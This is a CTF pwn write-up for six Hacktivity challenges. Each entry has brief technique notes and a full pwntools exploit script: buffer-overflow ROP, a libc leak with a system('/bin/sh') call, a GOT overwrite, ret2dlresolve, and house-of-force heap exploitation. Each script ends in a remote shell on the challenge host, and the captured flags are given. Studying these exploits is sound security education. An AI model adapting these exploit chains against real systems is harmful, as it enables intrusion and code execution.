# hacktivity ctf pwn-writeups. ## Pancakes Points - 75 How many flap-jacks are on your stack? Connect with: nc jh2i.com 50021 There was a buffer-overflow and a flag function, so i return to that function. ##### here's the one-liner. ```python= python -c "from pwn import *;p = remote('jh2i.com', 50021);p.recv();p.sendline('A'*0x90+p64(0x40098B));p.interactive() ``` ##### flag{too_many_pancakes_on_the_stack}. ## almost Almost 100 Oh, just so close! Connect here: nc jh2i.com 50017 Another simple buffer-overflow, 32-bit with no-pie, just simple ROP, leak libc and call system. #### exploit ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.arch='i386' exe = context.binary = ELF('./almost') host = args.HOST or 'jh2i.com' port = int(args.PORT or 50017) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = ''' b *0x80486C1 continue '''.format(**locals()) # -- Exploit goes here -- io = start() io.recvuntil(':') io.sendline('B'*0x100) io.recvuntil(':') io.sendline('B'*80) io.recvuntil(':') pause() #leak libc, call main again rop = flat([ 'D'*0x10, exe.sym.puts, exe.sym.main, exe.got['puts'] ]) io.sendline(rop) io.recvn(0x122) libc_base = u32(io.recvn(4)) - 0x0673d0 log.info(hex(libc_base)) io.recvuntil(':') io.sendline('B'*0x100) io.recvuntil(':') io.sendline('B'*80) io.recvuntil(':') pause() #call system('/bin/sh') rop = flat([ 'D'*0x10, libc_base+0x03cd80, #system 0x41414141, libc_base+0x17bb8f #binsh string ]) io.sendline(rop) #pop shell io.interactive() #flag{my_code_was_almost_secure} ``` ## Statics and Dynamics points - 100 Everybody likes the dynamic side of things, what about the static? Connect with: nc jh2i.com 50002 Static binary, No-pie, This was yet another bufferoverflow, i did execve('/bin/sh',NULL,NULL). #### exploit ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * exe = context.binary = ELF('./sad') host = args.HOST or 'jh2i.com' port = int(args.PORT or 50002) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = ''' tbreak main continue '''.format(**locals()) # -- Exploit goes here -- io = start() #gadgets binsh = 0x483008 pop_rdi = 0x0047dd37 pop_rsi = 0x00464cf8 pop_rdx = 0x0040177f pop_rax = 0x0043f8d7 syscall = 0x00475052 io.recvuntil('you need ;)\n') rop = flat([ 'A'*0x100, 'B'*8, pop_rdi, binsh, pop_rsi, 0x0, pop_rdx, 0x0, pop_rax, 0x3b, syscall #do execve. ]) io.sendline(rop) io.interactive() #flag{radically_statically_roppingly_vulnerable} ``` ## Bullseye points - 150 You have one write, don't miss. Connect with: nc jh2i.com 50031 No-Pie, and Partial-Relro, This challenge allowed us to write anything at anywhere into memory, Got was partial-relro, exit() was called at the end, so i choose to overwrite exit() got with main, and binary prints a libc address, find libc address with libc-database, we get another chance to overwrite this time i chose to overwrite strtoul with system. and send '/bin/sh'. #### exploit ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * exe = context.binary = ELF('./B') host = args.HOST or 'jh2i.com' port = int(args.PORT or 50031) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = ''' tbreak main continue '''.format(**locals()) # -- Exploit goes here -- io = start() io.recvuntil('write to?\n') io.sendline(hex(exe.got['exit'])) io.recvuntil('write?\n') io.sendline(hex(exe.sym.main)) libc_base = int(io.recvn(14),0) - 0x0e5be0 io.recvuntil('write to?\n') io.sendline(hex(exe.got['strtoull'])) io.recvuntil('write?\n') io.sendline(hex(libc_base+0x0554e0)) io.recvuntil('write to?\n') io.sendline('/bin/sh\x00') io.interactive() #flag{one_write_two_write_good_write_bad_write} ``` ## Bacon points - 200 A breakfast isn't complete without bacon. Connect with: nc jh2i.com 50032 This was again yet anthor bufferoverflow, no-libc provided, no printfunction in the binary, NO-PIE, part-Relro, so i used ret2_dlresolve, There are lots of resources available for ret2_dlresolve. #### exploit ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * exe = context.binary = ELF('./bacon') host = args.HOST or 'jh2i.com' port = int(args.PORT or 50032) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = ''' '''.format(**locals()) # -- Exploit goes here -- io = start() resolver = 0x8049030 buf = 0x804ca00 leave_ret = 0x08049126 SYMTAB = 0x804820c STRTAB = 0x80482ec JMPREL = 0x8048408 buffer = b"" buffer += b"A"*0x408 buffer += p32(buf) buffer += p32(exe.plt["read"]) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x80) + b'AAAAAAAAAAAA' print(hex(len(buffer))) forged_ara = buf + 0x14 rel_offset = forged_ara - JMPREL elf32_sym = forged_ara + 0x8 align = 0x10 - ((elf32_sym - SYMTAB) % 0x10) elf32_sym = elf32_sym + align index_sym = (elf32_sym - SYMTAB) // 0x10 r_info = (index_sym << 8) | 0x7 elf32_rel = p32(exe.got['read']) + p32(r_info) st_name = (elf32_sym + 0x10) - STRTAB elf32_sym_struct = p32(st_name) + p32(0) + p32(0) + p32(0x12) buffer2 = b'AAAA' buffer2 += p32(resolver) buffer2 += p32(rel_offset) buffer2 += b'AAAA' buffer2 += p32(buf+100) buffer2 += elf32_rel buffer2 += b'A' * align buffer2 += elf32_sym_struct buffer2 += b"system\x00" p = (100 - len(buffer2)) buffer2 += b'A' * p buffer2 += b"sh\x00" p = (0x80 - len(buffer2)) buffer2 += b"A" * p pause() io.send(buffer+buffer2) #io.send(buffer2) io.interactive() # flag{don't_forget_to_take_out_the_grease} ``` ## Space Force points - 350 I wanna go to space!!!!! Note: Be sure to use the provided libc. Connect with: nc jh2i.com 50016 This was a cool challenge, It was heap exploitation challenge. There was a heap overflow. 5- functions, register_account, Delete_last_added, print_all, print_using_idx, lauchrocket :rocket: :face_with_open_mouth_vomiting: useless function. register_account just malloc a chunk. which contained a heap overflow, ```c struct chunk{ char s[8]; struct date *dates; char data[?]; char *comment; int commentlen; } ``` ```c struct date{ int i; char month[0x10]; } ``` the size of month is 0x10, we can just overflow into the top-chunk, so i used house-of-force technique, ```c printf("Enter the month the account expires: "); fgets((char *)(*(long *)(param_1 + 2) + 8),0x20,stdin); ``` Here when it asks for month it takse 0x20 bytes. I failed to notice the bug and went for other bug in the binary, but that required 8 bits bruteforce, The remote server was very slow and takes lots of time. The pointers to heap were located on stack and we could veiw the content using print_function. Which didn't check for boundry of index. So i leak libc address using print_uid function by giving index(38). for heap leak, add three chunks, and view(-11). This leaks heap address. Now that's all, we have all we want. I changed free-hook to system and free a chunk with containing '/bin/sh'. About that, we can't have the rdi as pointer to '/bin/sh'. The binary asks for 'comment' after we create account. The pointer is stored in the same struct. The delete_acc function checks if there is a pointer to comment. If there is then it frees that chunk. So we keep '/bin/sh'and free it. and pop the shell My exploit is a bit unreliable, Might need to run it a few times. #### exploit ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys exe = context.binary = ELF('./space') host = args.HOST or 'jh2i.com' port = int(args.PORT or 50016) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv,aslr=True, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = ''' tbreak main continue '''.format(**locals()) io = start() def make(fname,lname,fuck,fuck2,year=1992,month=2000,day=0,commentlen=10,comment=''): io.sendlineafter('> ','1') io.sendlineafter('name: ',fname) io.sendlineafter('name: ',lname) io.sendlineafter('[y]: ',fuck[0]) if fuck[0]=='y': io.sendlineafter(':',str(year)) io.sendlineafter(':',str(month)) io.sendlineafter(':',str(day)) io.sendlineafter('[y]: ',fuck2[0]) if fuck2[0] == 'y': io.sendlineafter(':',str(commentlen)) io.sendlineafter(':',comment) io.sendlineafter('[y/n]','n') def delete(): io.sendlineafter('> ','4') io.sendlineafter('[y/n]','n') def show(idx): io.sendlineafter('> ', '3') io.sendlineafter('user: ',str(idx)) def launch(): io.sendlineafter('> ','5') io.sendlineafter('[y/n]','n') def return_size(target, wilderness): return target - wilderness - 0x10 #offsets mainarena_offset = 0x3ebc40 free_hook = 0x3ed8e8 malloc_hook = 0x3ebc30 system = 0x4f4e0 #leak libc show(38) io.recvuntil('Last name: ') libc_base = u64(io.recvn(6)+'\x00\x00') - (0x7fe48aceb8d0 - 0x7fe48ab51000) log.info('Libc base {}'.format(hex(libc_base))) io.sendlineafter('[y/n]','n') #leak heap for i in range(3): make('HKHK','HKHK','n','n') show(-11) io.recvuntil('First name: ') heap_base = u64(io.recvn(6)+'\x00\x00') - 0x380 log.info('Heap base {}'.format(hex(heap_base))) make('HKHK','HKHK','y','n',year=0x10,month='A'*0x10+p64(0xffffffffffffffff),day=10) make('HKHK','HKHK','n','y',commentlen=return_size(libc_base + free_hook-0xe0,heap_base+0x498),comment='AAAAAA') make('',p64(0x0)+p64(0x0)+p64(0x0)+p64(libc_base+system),'n','n') io.sendlineafter('[y/n]','n') make('HKHK','HKHK','n','y',commentlen=0x20,comment='/bin/sh\x00') io.sendlineafter('> ','4') io.sendline('cat flag.txt') io.interactive() #flag{michael_scott_for_president} ```